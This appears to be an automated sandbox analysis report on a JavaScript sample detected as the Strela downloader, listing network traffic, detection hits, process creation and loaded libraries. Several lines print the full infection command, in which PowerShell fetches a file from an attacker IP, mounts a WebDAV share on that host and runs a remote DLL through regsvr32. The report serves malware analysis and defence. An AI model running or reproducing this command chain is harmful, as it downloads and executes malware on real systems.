HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2044234526.00000226FB383000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2047158970.00000226FD0E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2103201922.0000022D73AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:o
Source: net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Fo
Source: net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/No
Source: net.exe, 00000007.00000002.2103201922.0000022D73AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s-
Source: svchost.exe, 00000009.00000002.3327996045.000001FA49800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2102912272.000001FA49750000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6096, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 8058323181786520440.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3364:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ukypyxn.jea.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1544,i,2010928854098807199,9368982659521233868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1544,i,2010928854098807199,9368982659521233868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
